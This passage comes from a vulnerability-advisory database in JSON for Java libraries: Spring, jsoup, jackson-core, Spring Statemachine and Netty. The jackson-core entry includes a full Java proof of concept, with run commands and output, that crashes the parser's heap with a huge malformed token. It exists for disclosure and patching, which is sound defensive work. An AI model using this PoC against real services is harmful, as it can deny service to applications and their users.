"4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/02/GHSA-5mcr-gq6c-3hq2/GHSA-5mcr-gq6c-3hq2.json", "last_known_affected_version_range": "< 4.0.0" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ] }, { "id": "GHSA-659m-px2c-25wj", "summary": "Spring Framework Denial of Service via AntPathMatcher", "details": "Applications may be vulnerable to a Regular Expression Denial of Service (ReDoS) attack if an attacker is able to provide a pattern which is then directly or indirectly supplied to one of the following methods in AntPathMatcher: match(String pattern, String path), matchStart(String pattern, String path), extractUriTemplateVariables(String pattern, String path).\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.", "aliases": [ "CVE-2026-41848" ], "modified": "2026-09-10T03:50:48.636887140Z", "published": "2026-06-09T06:31:58Z", "database_specific": { "github_reviewed_at": "2026-07-30T18:29:21Z", "nvd_published_at": "2026-06-09T05:16:36Z", "cwe_ids": [ "CWE-1333" ], "severity": "LOW", "github_reviewed": true }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41848" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/commit/12b44f2545a1bec6150c7a05e66092c732597a94" }, { "type": "PACKAGE", "url": "https://github.com/spring-projects/spring-framework" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/releases/tag/v6.2.19" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8" }, { "type": "WEB", "url": "https://spring.io/security/cve-2026-41848" } ], "affected": [ { "package": { "name": "org.springframework:spring-core", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "fixed": "7.0.8" } ] } ], "versions": [ "7.0.0", "7.0.1", "7.0.2", "7.0.3", "7.0.4", "7.0.5", "7.0.6", "7.0.7" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-659m-px2c-25wj/GHSA-659m-px2c-25wj.json", "last_known_affected_version_range": "<= 7.0.7" } }, { "package": { "name": "org.springframework:spring-core", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "6.2.0" }, { "fixed": "6.2.19" } ] } ], "versions": [ "6.2.0", "6.2.1", "6.2.10", "6.2.11", "6.2.12", "6.2.13", "6.2.14", "6.2.15", "6.2.16", "6.2.17", "6.2.18", "6.2.2", "6.2.3", "6.2.4", "6.2.5", "6.2.6", "6.2.7", "6.2.8", "6.2.9" ], "database_specific": { "last_known_affected_version_range": "<= 6.2.18", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-659m-px2c-25wj/GHSA-659m-px2c-25wj.json" } }, { "package": { "name": "org.springframework:spring-core", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "6.1.0" }, { "last_affected": "6.1.21" } ] } ], "versions": [ "6.1.0", "6.1.1", "6.1.10", "6.1.11", "6.1.12", "6.1.13", "6.1.14", "6.1.15", "6.1.16", "6.1.17", "6.1.18", "6.1.19", "6.1.2", "6.1.20", "6.1.21", "6.1.3", "6.1.4", "6.1.5", "6.1.6", "6.1.7", "6.1.8", "6.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-659m-px2c-25wj/GHSA-659m-px2c-25wj.json" } }, { "package": { "name": "org.springframework:spring-core", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "last_affected": "5.3.39" } ] } ], "versions": [ "1.0", "1.0-rc1", "1.0.1", "1.1", "1.1-rc1", "1.1-rc2", "1.1.1", "1.1.2", "1.1.3", "1.1.4", "1.1.5", "1.2", "1.2-rc1", "1.2-rc2", "1.2.1", "1.2.2", "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.2.7", "1.2.8", "1.2.9", "2.0", "2.0-m1", "2.0-m2", "2.0-m3", "2.0-m4", "2.0-m5", "2.0-rc1", "2.0-rc2", "2.0.1", "2.0.2", "2.0.3", "2.0.4", "2.0.5", "2.0.6", "2.0.7", "2.0.8", "2.5", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.5.6", "2.5.6.SEC01", "2.5.6.SEC02", "2.5.6.SEC03", "3.0.0.RELEASE", "3.0.1.RELEASE", "3.0.2.RELEASE", "3.0.3.RELEASE", "3.0.4.RELEASE", "3.0.5.RELEASE", "3.0.6.RELEASE", "3.0.7.RELEASE", "3.1.0.RELEASE", "3.1.1.RELEASE", "3.1.2.RELEASE", "3.1.3.RELEASE", "3.1.4.RELEASE", "3.2.0.RELEASE", "3.2.1.RELEASE", "3.2.10.RELEASE", "3.2.11.RELEASE", "3.2.12.RELEASE", "3.2.13.RELEASE", "3.2.14.RELEASE", "3.2.15.RELEASE", "3.2.16.RELEASE", "3.2.17.RELEASE", "3.2.18.RELEASE", "3.2.2.RELEASE", "3.2.3.RELEASE", "3.2.4.RELEASE", "3.2.5.RELEASE", "3.2.6.RELEASE", "3.2.7.RELEASE", "3.2.8.RELEASE", "3.2.9.RELEASE", "4.0.0.RELEASE", "4.0.1.RELEASE", "4.0.2.RELEASE", "4.0.3.RELEASE", "4.0.4.RELEASE", "4.0.5.RELEASE", "4.0.6.RELEASE", "4.0.7.RELEASE", "4.0.8.RELEASE", "4.0.9.RELEASE", "4.1.0.RELEASE", "4.1.1.RELEASE", "4.1.2.RELEASE", "4.1.3.RELEASE", "4.1.4.RELEASE", "4.1.5.RELEASE", "4.1.6.RELEASE", "4.1.7.RELEASE", "4.1.8.RELEASE", "4.1.9.RELEASE", "4.2.0.RELEASE", "4.2.1.RELEASE", "4.2.2.RELEASE", "4.2.3.RELEASE", "4.2.4.RELEASE", "4.2.5.RELEASE", "4.2.6.RELEASE", "4.2.7.RELEASE", "4.2.8.RELEASE", "4.2.9.RELEASE", "4.3.0.RELEASE", "4.3.1.RELEASE", "4.3.10.RELEASE", "4.3.11.RELEASE", "4.3.12.RELEASE", "4.3.13.RELEASE", "4.3.14.RELEASE", "4.3.15.RELEASE", "4.3.16.RELEASE", "4.3.17.RELEASE", "4.3.18.RELEASE", "4.3.19.RELEASE", "4.3.2.RELEASE", "4.3.20.RELEASE", "4.3.21.RELEASE", "4.3.22.RELEASE", "4.3.23.RELEASE", "4.3.24.RELEASE", "4.3.25.RELEASE", "4.3.26.RELEASE", "4.3.27.RELEASE", "4.3.28.RELEASE", "4.3.29.RELEASE", "4.3.3.RELEASE", "4.3.30.RELEASE", "4.3.4.RELEASE", "4.3.5.RELEASE", "4.3.6.RELEASE", "4.3.7.RELEASE", "4.3.8.RELEASE", "4.3.9.RELEASE", "5.0.0.RELEASE", "5.0.1.RELEASE", "5.0.10.RELEASE", "5.0.11.RELEASE", "5.0.12.RELEASE", "5.0.13.RELEASE", "5.0.14.RELEASE", "5.0.15.RELEASE", "5.0.16.RELEASE", "5.0.17.RELEASE", "5.0.18.RELEASE", "5.0.19.RELEASE", "5.0.2.RELEASE", "5.0.20.RELEASE", "5.0.3.RELEASE", "5.0.4.RELEASE", "5.0.5.RELEASE", "5.0.6.RELEASE", "5.0.7.RELEASE", "5.0.8.RELEASE", "5.0.9.RELEASE", "5.1.0.RELEASE", "5.1.1.RELEASE", "5.1.10.RELEASE", "5.1.11.RELEASE", "5.1.12.RELEASE", "5.1.13.RELEASE", "5.1.14.RELEASE", "5.1.15.RELEASE", "5.1.16.RELEASE", "5.1.17.RELEASE", "5.1.18.RELEASE", "5.1.19.RELEASE", "5.1.2.RELEASE", "5.1.20.RELEASE", "5.1.3.RELEASE", "5.1.4.RELEASE", "5.1.5.RELEASE", "5.1.6.RELEASE", "5.1.7.RELEASE", "5.1.8.RELEASE", "5.1.9.RELEASE", "5.2.0.RELEASE", "5.2.1.RELEASE", "5.2.10.RELEASE", "5.2.11.RELEASE", "5.2.12.RELEASE", "5.2.13.RELEASE", "5.2.14.RELEASE", "5.2.15.RELEASE", "5.2.16.RELEASE", "5.2.17.RELEASE", "5.2.18.RELEASE", "5.2.19.RELEASE", "5.2.2.RELEASE", "5.2.20.RELEASE", "5.2.21.RELEASE", "5.2.22.RELEASE", "5.2.23.RELEASE", "5.2.24.RELEASE", "5.2.25.RELEASE", "5.2.3.RELEASE", "5.2.4.RELEASE", "5.2.5.RELEASE", "5.2.6.RELEASE", "5.2.7.RELEASE", "5.2.8.RELEASE", "5.2.9.RELEASE", "5.3.0", "5.3.1", "5.3.10", "5.3.11", "5.3.12", "5.3.13", "5.3.14", "5.3.15", "5.3.16", "5.3.17", "5.3.18", "5.3.19", "5.3.2", "5.3.20", "5.3.21", "5.3.22", "5.3.23", "5.3.24", "5.3.25", "5.3.26", "5.3.27", "5.3.28", "5.3.29", "5.3.3", "5.3.30", "5.3.31", "5.3.32", "5.3.33", "5.3.34", "5.3.35", "5.3.36", "5.3.37", "5.3.38", "5.3.39", "5.3.4", "5.3.5", "5.3.6", "5.3.7", "5.3.8", "5.3.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-659m-px2c-25wj/GHSA-659m-px2c-25wj.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" } ] }, { "id": "GHSA-65r4-943x-97jj", "summary": "jsoup XmlTreeBuilder vulnerable to memory exhaustion through deeply nested namespace declarations", "details": "jsoup through 1.23.2, fixed in commit 862ba2f, contains an uncontrolled resource consumption vulnerability in XmlTreeBuilder that allows remote attackers to exhaust JVM heap memory by supplying a deeply nested XML document with uniquely-namespaced elements. The builder copies the entire inherited namespace map on every start element, causing quadratic time and memory complexity, which attackers can exploit to trigger an OutOfMemoryError and terminate the application.", "aliases": [ "CVE-2026-75140" ], "modified": "2026-10-05T22:45:05.710363586Z", "published": "2026-08-20T18:30:54Z", "database_specific": { "nvd_published_at": "2026-08-20T16:18:02Z", "cwe_ids": [ "CWE-770" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-10-05T22:33:36Z" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75140" }, { "type": "WEB", "url": "https://github.com/jhy/jsoup/pull/2556" }, { "type": "WEB", "url": "https://github.com/jhy/jsoup/commit/862ba2f1d48ee95609183dbcfc848c9fd7afc76a" }, { "type": "PACKAGE", "url": "https://github.com/jhy/jsoup" }, { "type": "WEB", "url": "https://github.com/jhy/jsoup/releases/tag/jsoup-1.23.2" }, { "type": "WEB", "url": "https://www.vulncheck.com/advisories/jsoup-uncontrolled-resource-consumption-in-xmltreebuilder" } ], "affected": [ { "package": { "name": "org.jsoup:jsoup", "ecosystem": "Maven", "purl": "pkg:maven/org.jsoup/jsoup" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.23.2" } ] } ], "versions": [ "0.2.1b", "0.2.2", "0.3.1", "1.1.1", "1.10.1", "1.10.2", "1.10.3", "1.11.1", "1.11.2", "1.11.3", "1.12.1", "1.12.2", "1.13.1", "1.14.1", "1.14.2", "1.14.3", "1.15.1", "1.15.2", "1.15.3", "1.15.4", "1.16.1", "1.16.2", "1.17.1", "1.17.2", "1.18.1", "1.18.2", "1.18.3", "1.19.1", "1.2.1", "1.2.2", "1.2.3", "1.20.1", "1.21.1", "1.21.2", "1.22.1", "1.22.2", "1.23.1", "1.3.1", "1.3.2", "1.3.3", "1.4.1", "1.5.1", "1.5.2", "1.6.0", "1.6.1", "1.6.2", "1.6.3", "1.7.1", "1.7.2", "1.7.3", "1.8.1", "1.8.2", "1.8.3", "1.9.1", "1.9.2" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-65r4-943x-97jj/GHSA-65r4-943x-97jj.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" } ] }, { "id": "GHSA-7hhh-6rmp-j9qf", "summary": "jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)", "details": "## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n StringBuilder sb = new StringBuilder(matchedPart);\n while (true) {\n char c = (char) _decodeCharForError(ch);\n if (!Character.isJavaIdentifierPart(c)) {\n break;\n }\n sb.append(c);\n ch = _inputData.readUnsignedByte();\n }\n _reportError(\"Unrecognized token '\"+sb.toString()+\"': was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n sb.append(\"...\");\n break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit —\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n static class RepeatingByteInputStream extends InputStream {\n private final int b;\n private long remaining;\n RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n @Override public int read() {\n if (remaining <= 0) return -1;\n remaining--;\n return b;\n }\n }\n\n public static void main(String[] args) throws Exception {\n final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n + \" Java-identifier characters ('x'), then a terminating space, never completing\"\n + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n DataInputStream dataIn = new DataInputStream(raw);\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n long heapBefore = usedHeap();\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n long heapAfter = usedHeap();\n\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n + \"-character payload (unbounded)? \" + (msgLen > 1_000_000));\n }\n\n System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser(raw);\n\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen < 500));\n }\n }\n\n static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n }\n\n static long usedHeap() {\n Runtime rt = Runtime.getRuntime();\n System.gc();\n return rt.totalMemory() - rt.freeMemory();\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters ('x'), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling —\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n limit is reached — mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n `ParserMinimalBase` to prevent this class of per-implementation drift recurring.", "aliases": [ "CVE-2026-89425" ], "modified": "2026-10-01T15:30:05.552671898Z", "published": "2026-10-01T15:20:27Z", "database_specific": { "cwe_ids": [ "CWE-400", "CWE-770" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-10-01T15:20:27Z", "nvd_published_at": "2026-09-23T03:17:04Z" }, "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89425" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1698" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3" } ], "affected": [ { "package": { "name": "com.fasterxml.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ] } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ], "database_specific": { "last_known_affected_version_range": "<= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ] } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ], "database_specific": { "last_known_affected_version_range": "<= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" } }, { "package": { "name": "tools.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ] } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json", "last_known_affected_version_range": "<= 3.1.6" } }, { "package": { "name": "tools.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ] } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ], "database_specific": { "last_known_affected_version_range": "<= 3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.8.0" }, { "fixed": "2.18.11" } ] } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.7", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.3", "2.13.4", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.4.1", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.8.0", "2.8.1", "2.8.10", "2.8.11", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json", "last_known_affected_version_range": "<= 2.18.10" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-85qj-f5wg-rwp9", "summary": "Spring Statemachine's Kryo-based persistence backends deserialize persisted state-machine contexts without enforcing a class allowlist", "details": "Spring Statemachine's Kryo-based persistence backends (JPA, MongoDB, Redis and ZooKeeper) deserialise persisted state-machine contexts without enforcing a class allowlist (CWE-502, deserialisation of untrusted data), which can lead to remote code execution inside the application JVM.\n\nAffected versions:\nSpring Statemachine 4.0.0 through 4.0.1\nSpring Statemachine 3.2.0 through 3.2.4", "aliases": [ "CVE-2026-41862" ], "modified": "2026-09-24T19:15:05.762400079Z", "published": "2026-06-23T21:30:32Z", "database_specific": { "nvd_published_at": "2026-06-23T21:16:57Z", "cwe_ids": [ "CWE-502" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-09-24T19:05:05Z" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41862" }, { "type": "WEB", "url": "https://github.com/spring-attic/spring-statemachine/commit/6b77ea6b729e5346d83e31f36c43818665d67384" }, { "type": "PACKAGE", "url": "https://github.com/spring-attic/spring-statemachine" }, { "type": "WEB", "url": "https://github.com/spring-attic/spring-statemachine/releases/tag/v4.0.2" }, { "type": "WEB", "url": "https://spring.io/security/cve-2026-41862" } ], "affected": [ { "package": { "name": "org.springframework.statemachine:spring-statemachine-kryo", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework.statemachine/spring-statemachine-kryo" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.2.0" }, { "last_affected": "3.2.4" } ] } ], "versions": [ "3.2.0", "3.2.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-85qj-f5wg-rwp9/GHSA-85qj-f5wg-rwp9.json" } }, { "package": { "name": "org.springframework.statemachine:spring-statemachine-kryo", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework.statemachine/spring-statemachine-kryo" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0" }, { "fixed": "4.0.2" } ] } ], "versions": [ "4.0.0", "4.0.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-85qj-f5wg-rwp9/GHSA-85qj-f5wg-rwp9.json", "last_known_affected_version_range": "<= 4.0.1" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ] }, { "id": "GHSA-8c42-7qj2-3j46", "summary": "Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite", "details": "### Summary\nNetty's `CorsHandler` silently overwrites existing `Vary` headers, enabling cache poisoning and sensitive information disclosure.\n\n### Details\n`io.netty.handler.codec.http.cors.CorsHandler#setVaryHeader` overwrites any existing Vary headers set by backend applications. \n\n```java\n private static void setVaryHeader(final HttpResponse response) {\n response.headers().set(HttpHeaderNames.VARY, HttpHeaderNames.ORIGIN);\n }\n```\n\nBecause `set()` replaces all existing values for the header, if a backend application sets a `Vary` header (such as `Vary: Authorization` or `Vary: Cookie`) to 